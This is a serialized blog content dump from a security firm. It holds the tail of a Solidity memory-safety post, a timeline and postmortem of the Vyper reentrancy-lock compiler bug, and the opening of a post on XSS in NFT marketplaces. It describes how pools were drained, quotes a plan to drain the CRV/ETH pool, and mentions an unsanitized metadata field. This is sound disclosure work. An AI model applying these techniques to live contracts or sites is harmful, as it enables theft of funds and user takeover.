bodyCopier",{"type":19,"tag":168,"props":27775,"children":27776},{"style":212},[27777],{"type":24,"value":500},{"type":19,"tag":168,"props":27779,"children":27780},{"style":393},[27781],{"type":24,"value":27625},{"type":19,"tag":168,"props":27783,"children":27784},{"style":212},[27785],{"type":24,"value":948},{"type":19,"tag":168,"props":27787,"children":27788},{"style":175},[27789],{"type":24,"value":27790},"operations",{"type":19,"tag":168,"props":27792,"children":27793},{"style":212},[27794],{"type":24,"value":27795},"());`\n",{"type":19,"tag":2869,"props":27797,"children":27798},{"start":198},[27799],{"type":19,"tag":47,"props":27800,"children":27801},{},[27802],{"type":24,"value":27803},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":19,"tag":20,"props":27805,"children":27806},{},[27807],{"type":24,"value":27808},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":19,"tag":36,"props":27810,"children":27811},{"id":2742},[27812],{"type":24,"value":2745},{"type":19,"tag":20,"props":27814,"children":27815},{},[27816],{"type":24,"value":27817},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":19,"tag":20,"props":27819,"children":27820},{},[27821],{"type":24,"value":27822},"It's a promise between YUL generation and optimization.",{"type":19,"tag":15873,"props":27824,"children":27826},{"className":27825,"dataFootnotes":7},[15876],[27827,27832],{"type":19,"tag":36,"props":27828,"children":27830},{"className":27829,"id":12928},[15881],[27831],{"type":24,"value":15884},{"type":19,"tag":2869,"props":27833,"children":27834},{},[27835,27869],{"type":19,"tag":47,"props":27836,"children":27838},{"id":27837},"user-content-fn-1",[27839,27841,27846,27848,27854,27856,27861,27863],{"type":24,"value":27840},"As an interesting aside, ",{"type":19,"tag":27,"props":27842,"children":27844},{"className":27843},[],[27845],{"type":24,"value":26841},{"type":24,"value":27847}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":19,"tag":27,"props":27849,"children":27851},{"className":27850},[],[27852],{"type":24,"value":27853},"memory-unsafe",{"type":24,"value":27855}," code can ",{"type":19,"tag":293,"props":27857,"children":27858},{},[27859],{"type":24,"value":27860},"decrease",{"type":24,"value":27862}," gas consumption, especially in the YUL header. ",{"type":19,"tag":269,"props":27864,"children":27867},{"href":27865,"ariaLabel":15987,"className":27866,"dataFootnoteBackref":7},"#user-content-fnref-1",[15989],[27868],{"type":24,"value":15992},{"type":19,"tag":47,"props":27870,"children":27872},{"id":27871},"user-content-fn-2",[27873,27875,27880,27882],{"type":24,"value":27874},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":19,"tag":293,"props":27876,"children":27877},{},[27878],{"type":24,"value":27879},"guarantee",{"type":24,"value":27881}," behavior with opaque bytes. ",{"type":19,"tag":269,"props":27883,"children":27886},{"href":27884,"ariaLabel":16007,"className":27885,"dataFootnoteBackref":7},"#user-content-fnref-2",[15989],[27887],{"type":24,"value":15992},{"type":19,"tag":232,"props":27889,"children":27890},{},[27891],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":27893},[27894,27895,27896,27897,27898,27899,27900],{"id":26485,"depth":198,"text":26488},{"id":26539,"depth":198,"text":26542},{"id":26803,"depth":198,"text":26806},{"id":26534,"depth":198,"text":27027},{"id":27374,"depth":198,"text":27377},{"id":2742,"depth":198,"text":2745},{"id":12928,"depth":198,"text":15884},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":27905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":27906,"description":27907,"author":3153,"image":27908,"date":27910,"isFeatured":14,"onBlogPage":14,"tags":27911,"body":27913,"_type":242,"_id":28664,"_source":244,"_file":28665,"_stem":28666,"_extension":247},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":27909,"height":11069,"width":11069},"/posts/vyper-timeline/header.jpg","2023-08-01",[27912,26480],"vyper",{"type":16,"children":27914,"toc":28655},[27915,27920,27925,27930,27936,27941,27959,27969,27974,27982,27992,28011,28091,28101,28261,28266,28271,28281,28288,28293,28298,28312,28317,28334,28351,28370,28380,28393,28398,28411,28416,28421,28431,28458,28468,28498,28504,28513,28519,28524,28529,28534,28540,28545,28559,28564,28569,28574,28580,28585,28598,28624,28629,28651],{"type":19,"tag":20,"props":27916,"children":27917},{},[27918],{"type":24,"value":27919},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":19,"tag":20,"props":27921,"children":27922},{},[27923],{"type":24,"value":27924},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":19,"tag":20,"props":27926,"children":27927},{},[27928],{"type":24,"value":27929},"Here's how it all happened.",{"type":19,"tag":36,"props":27931,"children":27933},{"id":27932},"timeline",[27934],{"type":24,"value":27935},"Timeline",{"type":19,"tag":20,"props":27937,"children":27938},{},[27939],{"type":24,"value":27940},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":19,"tag":20,"props":27942,"children":27943},{},[27944,27949,27951,27958],{"type":19,"tag":51,"props":27945,"children":27946},{},[27947],{"type":24,"value":27948},"13:10 UTC",{"type":24,"value":27950}," pETH/ETH was ",{"type":19,"tag":269,"props":27952,"children":27955},{"href":27953,"rel":27954},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[273],[27956],{"type":24,"value":27957},"drained of $11M",{"type":24,"value":948},{"type":19,"tag":20,"props":27960,"children":27961},{},[27962,27967],{"type":19,"tag":51,"props":27963,"children":27964},{},[27965],{"type":24,"value":27966},"13:19 UTC",{"type":24,"value":27968}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":19,"tag":20,"props":27970,"children":27971},{},[27972],{"type":24,"value":27973},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":19,"tag":315,"props":27975,"children":27976},{},[27977],{"type":19,"tag":20,"props":27978,"children":27979},{},[27980],{"type":24,"value":27981},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":19,"tag":20,"props":27983,"children":27984},{},[27985,27990],{"type":19,"tag":51,"props":27986,"children":27987},{},[27988],{"type":24,"value":27989},"14:01 UTC",{"type":24,"value":27991}," A warroom was formed around this comment.",{"type":19,"tag":20,"props":27993,"children":27994},{},[27995,28000,28002,28009],{"type":19,"tag":51,"props":27996,"children":27997},{},[27998],{"type":24,"value":27999},"14:07 UTC",{"type":24,"value":28001}," We decompiled the JPEGd contract ",{"type":19,"tag":269,"props":28003,"children":28006},{"href":28004,"rel":28005},"https://ethervm.io/decompile",[273],[28007],{"type":24,"value":28008},"with our favorite decompiler",{"type":24,"value":28010}," and noted a difference in reentrancy guard storage slot.",{"type":19,"tag":158,"props":28012,"children":28016},{"className":28013,"code":28014,"language":28015,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[28017],{"type":19,"tag":27,"props":28018,"children":28019},{"__ignoreMap":7},[28020,28028,28036,28044,28052,28059,28067,28075,28083],{"type":19,"tag":168,"props":28021,"children":28022},{"class":170,"line":171},[28023],{"type":19,"tag":168,"props":28024,"children":28025},{},[28026],{"type":24,"value":28027},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":19,"tag":168,"props":28029,"children":28030},{"class":170,"line":198},[28031],{"type":19,"tag":168,"props":28032,"children":28033},{},[28034],{"type":24,"value":28035},"label_0057:\n",{"type":19,"tag":168,"props":28037,"children":28038},{"class":170,"line":415},[28039],{"type":19,"tag":168,"props":28040,"children":28041},{},[28042],{"type":24,"value":28043}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":19,"tag":168,"props":28045,"children":28046},{"class":170,"line":450},[28047],{"type":19,"tag":168,"props":28048,"children":28049},{},[28050],{"type":24,"value":28051}," storage[0x00] = 0x01;\n",{"type":19,"tag":168,"props":28053,"children":28054},{"class":170,"line":560},[28055],{"type":19,"tag":168,"props":28056,"children":28057},{"emptyLinePlaceholder":14},[28058],{"type":24,"value":1093},{"type":19,"tag":168,"props":28060,"children":28061},{"class":170,"line":666},[28062],{"type":19,"tag":168,"props":28063,"children":28064},{},[28065],{"type":24,"value":28066},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":19,"tag":168,"props":28068,"children":28069},{"class":170,"line":694},[28070],{"type":19,"tag":168,"props":28071,"children":28072},{},[28073],{"type":24,"value":28074},"label_1AF3:\n",{"type":19,"tag":168,"props":28076,"children":28077},{"class":170,"line":707},[28078],{"type":19,"tag":168,"props":28079,"children":28080},{},[28081],{"type":24,"value":28082}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":19,"tag":168,"props":28084,"children":28085},{"class":170,"line":725},[28086],{"type":19,"tag":168,"props":28087,"children":28088},{},[28089],{"type":24,"value":28090}," storage[0x02] = 0x01;\n",{"type":19,"tag":20,"props":28092,"children":28093},{},[28094,28099],{"type":19,"tag":51,"props":28095,"children":28096},{},[28097],{"type":24,"value":28098},"14:27 UTC",{"type":24,"value":28100}," We confirmed this behavior with a simple local test contract.",{"type":19,"tag":158,"props":28102,"children":28104},{"className":16915,"code":28103,"language":16914,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[28105],{"type":19,"tag":27,"props":28106,"children":28107},{"__ignoreMap":7},[28108,28116,28137,28172,28184,28191,28198,28217,28249],{"type":19,"tag":168,"props":28109,"children":28110},{"class":170,"line":171},[28111],{"type":19,"tag":168,"props":28112,"children":28113},{"style":175},[28114],{"type":24,"value":28115},"@external\n",{"type":19,"tag":168,"props":28117,"children":28118},{"class":170,"line":198},[28119,28124,28128,28133],{"type":19,"tag":168,"props":28120,"children":28121},{"style":175},[28122],{"type":24,"value":28123},"@nonreentrant",{"type":19,"tag":168,"props":28125,"children":28126},{"style":212},[28127],{"type":24,"value":500},{"type":19,"tag":168,"props":28129,"children":28130},{"style":181},[28131],{"type":24,"value":28132},"\"lock\"",{"type":19,"tag":168,"props":28134,"children":28135},{"style":212},[28136],{"type":24,"value":557},{"type":19,"tag":168,"props":28138,"children":28139},{"class":170,"line":415},[28140,28145,28150,28154,28159,28164,28168],{"type":19,"tag":168,"props":28141,"children":28142},{"style":382},[28143],{"type":24,"value":28144},"def",{"type":19,"tag":168,"props":28146,"children":28147},{"style":175},[28148],{"type":24,"value":28149}," test",{"type":19,"tag":168,"props":28151,"children":28152},{"style":212},[28153],{"type":24,"value":500},{"type":19,"tag":168,"props":28155,"children":28156},{"style":393},[28157],{"type":24,"value":28158},"addr",{"type":19,"tag":168,"props":28160,"children":28161},{"style":212},[28162],{"type":24,"value":28163},": address) -> ",{"type":19,"tag":168,"props":28165,"children":28166},{"style":825},[28167],{"type":24,"value":27156},{"type":19,"tag":168,"props":28169,"children":28170},{"style":212},[28171],{"type":24,"value":3001},{"type":19,"tag":168,"props":28173,"children":28174},{"class":170,"line":450},[28175,28179],{"type":19,"tag":168,"props":28176,"children":28177},{"style":419},[28178],{"type":24,"value":14438},{"type":19,"tag":168,"props":28180,"children":28181},{"style":382},[28182],{"type":24,"value":28183}," True\n",{"type":19,"tag":168,"props":28185,"children":28186},{"class":170,"line":560},[28187],{"type":19,"tag":168,"props":28188,"children":28189},{"emptyLinePlaceholder":14},[28190],{"type":24,"value":1093},{"type":19,"tag":168,"props":28192,"children":28193},{"class":170,"line":666},[28194],{"type":19,"tag":168,"props":28195,"children":28196},{"style":175},[28197],{"type":24,"value":28115},{"type":19,"tag":168,"props":28199,"children":28200},{"class":170,"line":694},[28201,28205,28209,28213],{"type":19,"tag":168,"props":28202,"children":28203},{"style":175},[28204],{"type":24,"value":28123},{"type":19,"tag":168,"props":28206,"children":28207},{"style":212},[28208],{"type":24,"value":500},{"type":19,"tag":168,"props":28210,"children":28211},{"style":181},[28212],{"type":24,"value":28132},{"type":19,"tag":168,"props":28214,"children":28215},{"style":212},[28216],{"type":24,"value":557},{"type":19,"tag":168,"props":28218,"children":28219},{"class":170,"line":707},[28220,28224,28229,28233,28237,28241,28245],{"type":19,"tag":168,"props":28221,"children":28222},{"style":382},[28223],{"type":24,"value":28144},{"type":19,"tag":168,"props":28225,"children":28226},{"style":175},[28227],{"type":24,"value":28228}," test2",{"type":19,"tag":168,"props":28230,"children":28231},{"style":212},[28232],{"type":24,"value":500},{"type":19,"tag":168,"props":28234,"children":28235},{"style":393},[28236],{"type":24,"value":28158},{"type":19,"tag":168,"props":28238,"children":28239},{"style":212},[28240],{"type":24,"value":28163},{"type":19,"tag":168,"props":28242,"children":28243},{"style":825},[28244],{"type":24,"value":27156},{"type":19,"tag":168,"props":28246,"children":28247},{"style":212},[28248],{"type":24,"value":3001},{"type":19,"tag":168,"props":28250,"children":28251},{"class":170,"line":725},[28252,28256],{"type":19,"tag":168,"props":28253,"children":28254},{"style":419},[28255],{"type":24,"value":14438},{"type":19,"tag":168,"props":28257,"children":28258},{"style":382},[28259],{"type":24,"value":28260}," False\n",{"type":19,"tag":20,"props":28262,"children":28263},{},[28264],{"type":24,"value":28265},"This was not just another reentrancy bug.",{"type":19,"tag":20,"props":28267,"children":28268},{},[28269],{"type":24,"value":28270},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":19,"tag":20,"props":28272,"children":28273},{},[28274,28279],{"type":19,"tag":51,"props":28275,"children":28276},{},[28277],{"type":24,"value":28278},"14:37 UTC",{"type":24,"value":28280}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":19,"tag":20,"props":28282,"children":28283},{},[28284],{"type":19,"tag":1344,"props":28285,"children":28287},{"alt":7,"src":28286},"/posts/vyper-timeline/sstore.png",[],{"type":19,"tag":20,"props":28289,"children":28290},{},[28291],{"type":24,"value":28292},"It was a race with the hackers.",{"type":19,"tag":20,"props":28294,"children":28295},{},[28296],{"type":24,"value":28297},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":19,"tag":315,"props":28299,"children":28300},{},[28301],{"type":19,"tag":20,"props":28302,"children":28303},{},[28304,28306],{"type":24,"value":28305},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":19,"tag":269,"props":28307,"children":28310},{"href":28308,"rel":28309},"https://twitter.com/hexagate_/status/1685677801813217280",[273],[28311],{"type":24,"value":28308},{"type":19,"tag":20,"props":28313,"children":28314},{},[28315],{"type":24,"value":28316},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":19,"tag":20,"props":28318,"children":28319},{},[28320,28325,28326,28333],{"type":19,"tag":51,"props":28321,"children":28322},{},[28323],{"type":24,"value":28324},"14:50 UTC",{"type":24,"value":3893},{"type":19,"tag":269,"props":28327,"children":28330},{"href":28328,"rel":28329},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[273],[28331],{"type":24,"value":28332},"msETH/ETH was drained",{"type":24,"value":948},{"type":19,"tag":20,"props":28335,"children":28336},{},[28337,28342,28343,28350],{"type":19,"tag":51,"props":28338,"children":28339},{},[28340],{"type":24,"value":28341},"15:34 UTC",{"type":24,"value":3893},{"type":19,"tag":269,"props":28344,"children":28347},{"href":28345,"rel":28346},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[273],[28348],{"type":24,"value":28349},"alETH/ETH was drained",{"type":24,"value":948},{"type":19,"tag":20,"props":28352,"children":28353},{},[28354,28359,28361,28368],{"type":19,"tag":51,"props":28355,"children":28356},{},[28357],{"type":24,"value":28358},"15:43 UTC",{"type":24,"value":28360}," We identified that ",{"type":19,"tag":269,"props":28362,"children":28365},{"href":28363,"rel":28364},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[273],[28366],{"type":24,"value":28367},"CRV/ETH was vulnerable",{"type":24,"value":28369},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":19,"tag":20,"props":28371,"children":28372},{},[28373,28378],{"type":19,"tag":51,"props":28374,"children":28375},{},[28376],{"type":24,"value":28377},"16:11 UTC",{"type":24,"value":28379}," We began working on a whitehat exploit.",{"type":19,"tag":20,"props":28381,"children":28382},{},[28383,28385,28392],{"type":24,"value":28384},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":19,"tag":269,"props":28386,"children":28389},{"href":28387,"rel":28388},"https://twitter.com/vyperlang/status/1685692973051498497",[273],[28390],{"type":24,"value":28391},"public statement on affected versions",{"type":24,"value":948},{"type":19,"tag":20,"props":28394,"children":28395},{},[28396],{"type":24,"value":28397},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":19,"tag":20,"props":28399,"children":28400},{},[28401,28403,28410],{"type":24,"value":28402},"Five minutes later at 19:11 UTC, ",{"type":19,"tag":269,"props":28404,"children":28407},{"href":28405,"rel":28406},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[273],[28408],{"type":24,"value":28409},"somebody else stole the funds",{"type":24,"value":948},{"type":19,"tag":20,"props":28412,"children":28413},{},[28414],{"type":24,"value":28415},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":19,"tag":20,"props":28417,"children":28418},{},[28419],{"type":24,"value":28420},"Nevertheless, there was more ground to cover.",{"type":19,"tag":20,"props":28422,"children":28423},{},[28424,28429],{"type":19,"tag":51,"props":28425,"children":28426},{},[28427],{"type":24,"value":28428},"21:26 UTC",{"type":24,"value":28430}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":19,"tag":315,"props":28432,"children":28433},{},[28434],{"type":19,"tag":20,"props":28435,"children":28436},{},[28437,28439,28443,28445,28448,28450,28453,28455],{"type":24,"value":28438},"if you send like 30k crv to the crv/eth pool ",{"type":19,"tag":28440,"props":28441,"children":28442},"br",{},[],{"type":24,"value":28444},"\nyou can then update admin fee ",{"type":19,"tag":28440,"props":28446,"children":28447},{},[],{"type":24,"value":28449},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":19,"tag":28440,"props":28451,"children":28452},{},[],{"type":24,"value":28454},"\nso you can basically drain whole pool for few hundred K crv ",{"type":19,"tag":28440,"props":28456,"children":28457},{},[],{"type":19,"tag":20,"props":28459,"children":28460},{},[28461,28466],{"type":19,"tag":51,"props":28462,"children":28463},{},[28464],{"type":24,"value":28465},"21:52 UTC",{"type":24,"value":28467}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":19,"tag":20,"props":28469,"children":28470},{},[28471,28473,28480,28482,28489,28497],{"type":24,"value":28472},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":19,"tag":269,"props":28474,"children":28477},{"href":28475,"rel":28476},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[273],[28478],{"type":24,"value":28479},"CRV admin fee bot",{"type":24,"value":28481}," had claimed fees and ",{"type":19,"tag":269,"props":28483,"children":28486},{"href":28484,"rel":28485},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[273],[28487],{"type":24,"value":28488},"the pool was drained",{"type":19,"tag":12921,"props":28490,"children":28491},{},[28492],{"type":19,"tag":269,"props":28493,"children":28495},{"href":27094,"ariaDescribedBy":28494,"dataFootnoteRef":7,"id":27096},[12928],[28496],{"type":24,"value":1442},{"type":24,"value":948},{"type":19,"tag":36,"props":28499,"children":28501},{"id":28500},"blame",[28502],{"type":24,"value":28503},"Blame",{"type":19,"tag":20,"props":28505,"children":28506},{},[28507,28511],{"type":19,"tag":293,"props":28508,"children":28509},{},[28510],{"type":24,"value":28503},{"type":24,"value":28512}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":19,"tag":7050,"props":28514,"children":28516},{"id":28515},"races",[28517],{"type":24,"value":28518},"Races",{"type":19,"tag":20,"props":28520,"children":28521},{},[28522],{"type":24,"value":28523},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":19,"tag":20,"props":28525,"children":28526},{},[28527],{"type":24,"value":28528},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":19,"tag":20,"props":28530,"children":28531},{},[28532],{"type":24,"value":28533},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":19,"tag":7050,"props":28535,"children":28537},{"id":28536},"information-leakage",[28538],{"type":24,"value":28539},"Information Leakage",{"type":19,"tag":20,"props":28541,"children":28542},{},[28543],{"type":24,"value":28544},"I was both an auditor and a whitehat.",{"type":19,"tag":20,"props":28546,"children":28547},{},[28548,28550,28557],{"type":24,"value":28549},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":19,"tag":269,"props":28551,"children":28554},{"href":28552,"rel":28553},"https://twitter.com/osec_io/status/1579969927020412929",[273],[28555],{"type":24,"value":28556},"by publishing the \"scoop\"",{"type":24,"value":28558}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":19,"tag":20,"props":28560,"children":28561},{},[28562],{"type":24,"value":28563},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":19,"tag":20,"props":28565,"children":28566},{},[28567],{"type":24,"value":28568},"Half an hour more could have saved $18M.",{"type":19,"tag":20,"props":28570,"children":28571},{},[28572],{"type":24,"value":28573},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":19,"tag":36,"props":28575,"children":28577},{"id":28576},"next-steps",[28578],{"type":24,"value":28579},"Next Steps",{"type":19,"tag":20,"props":28581,"children":28582},{},[28583],{"type":24,"value":28584},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":19,"tag":20,"props":28586,"children":28587},{},[28588,28590,28597],{"type":24,"value":28589},"It's important to note that this bug ",{"type":19,"tag":269,"props":28591,"children":28594},{"href":28592,"rel":28593},"https://twitter.com/real_philogy/status/1685948253139857409",[273],[28595],{"type":24,"value":28596},"was patched since November 2021",{"type":24,"value":948},{"type":19,"tag":315,"props":28599,"children":28600},{},[28601],{"type":19,"tag":20,"props":28602,"children":28603},{},[28604,28606,28611,28612,28615,28617,28622],{"type":24,"value":28605},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":19,"tag":293,"props":28607,"children":28608},{},[28609],{"type":24,"value":28610},"processes",{"type":24,"value":15983},{"type":19,"tag":28440,"props":28613,"children":28614},{},[],{"type":24,"value":28616},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":19,"tag":293,"props":28618,"children":28619},{},[28620],{"type":24,"value":28621},"was",{"type":24,"value":28623}," fixed.",{"type":19,"tag":20,"props":28625,"children":28626},{},[28627],{"type":24,"value":28628},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":19,"tag":15873,"props":28630,"children":28632},{"className":28631,"dataFootnotes":7},[15876],[28633,28638],{"type":19,"tag":36,"props":28634,"children":28636},{"className":28635,"id":12928},[15881],[28637],{"type":24,"value":15884},{"type":19,"tag":2869,"props":28639,"children":28640},{},[28641],{"type":19,"tag":47,"props":28642,"children":28643},{"id":27837},[28644,28646],{"type":24,"value":28645},"Thankfully, these funds were later returned. ",{"type":19,"tag":269,"props":28647,"children":28649},{"href":27865,"ariaLabel":15987,"className":28648,"dataFootnoteBackref":7},[15989],[28650],{"type":24,"value":15992},{"type":19,"tag":232,"props":28652,"children":28653},{},[28654],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":28656},[28657,28658,28662,28663],{"id":27932,"depth":198,"text":27935},{"id":28500,"depth":198,"text":28503,"children":28659},[28660,28661],{"id":28515,"depth":415,"text":28518},{"id":28536,"depth":415,"text":28539},{"id":28576,"depth":198,"text":28579},{"id":12928,"depth":198,"text":15884},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":28668,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28669,"description":28670,"author":28671,"image":28674,"date":28676,"isFeatured":14,"tags":28677,"onBlogPage":14,"body":28680,"_type":242,"_id":32893,"_source":244,"_file":32894,"_stem":32895,"_extension":247},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[28672,28673],"caue","bruno",{"src":28675,"height":11069,"width":11069},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[28678,28679],"nft-marketplaces","xss",{"type":16,"children":28681,"toc":32876},[28682,28686,28691,28695,28700,28705,28710,28726,28732,28745,28767,28774,28779,28786,28791,28797,28802,28807,28812,28817,28828,28833,29802,29812,29824,29831,29836,30658,30663,30668,30673,30678,31462,31467,31549,31554,31623,31629,31634,31639,31866,31879,31884,31889,31894,31901,31906,31913,31919,31924,31929,31934,32253,32258,32264,32280,32286,32291,32296,32306,32311,32316,32325,32330,32336,32352,32365,32370,32375,32395,32402,32407,32414,32423,32428,32449,32502,32507,32558,32572,32577,32591,32706,32729,32813,32836,32841,32846,32851,32856,32861,32867,32872],{"type":19,"tag":36,"props":28683,"children":28684},{"id":26485},[28685],{"type":24,"value":26488},{"type":19,"tag":20,"props":28687,"children":28688},{},[28689],{"type":24,"value":28690},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":19,"tag":7050,"props":28692,"children":28693},{"id":300},[28694],{"type":24,"value":303},{"type":19,"tag":20,"props":28696,"children":28697},{},[28698],{"type":24,"value":28699},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":19,"tag":20,"props":28701,"children":28702},{},[28703],{"type":24,"value":28704},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":19,"tag":36,"props":28706,"children":28707},{"id":28679},[28708],{"type":24,"value":28709},"XSS",{"type":19,"tag":20,"props":28711,"children":28712},{},[28713],{"type":19,"tag":293,"props":28714,"children":28715},{},[28716,28718,28725],{"type":24,"value":28717},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":19,"tag":269,"props":28719,"children":28722},{"href":28720,"rel":28721},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[273],[28723],{"type":24,"value":28724},"even explain it to myself",{"type":24,"value":948},{"type":19,"tag":7050,"props":28727,"children":28729},{"id":28728},"managing-metadata",[28730],{"type":24,"value":28731},"Managing Metadata",{"type":19,"tag":20,"props":28733,"children":28734},{},[28735,28737,28744],{"type":24,"value":28736},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":19,"tag":269,"props":28738,"children":28741},{"href":28739,"rel":28740},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[273],[28742],{"type":24,"value":28743},"payloads",{"type":24,"value":948},{"type":19,"tag":20,"props":28746,"children":28747},{},[28748,28750,28757,28759,28765],{"type":24,"value":28749},"We showcase this vulnerability in the ",{"type":19,"tag":269,"props":28751,"children":28754},{"href":28752,"rel":28753},"https://rocki.com/",[273],[28755],{"type":24,"value":28756},"Rocki Marketplace",{"type":24,"value":28758},". The ",{"type":19,"tag":27,"props":28760,"children":28762},{"className":28761},[],[28763],{"type":24,"value":28764},"artistDescription",{"type":24,"value":28766}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":19,"tag":20,"props":28768,"children":28769},{},[28770],{"type":19,"tag":1344,"props":28771,"children":28773},{"alt":7,"src":28772},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":19,"tag":20,"props":28775,"children":28776},{},[28777],{"type":24,"value":28778},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their 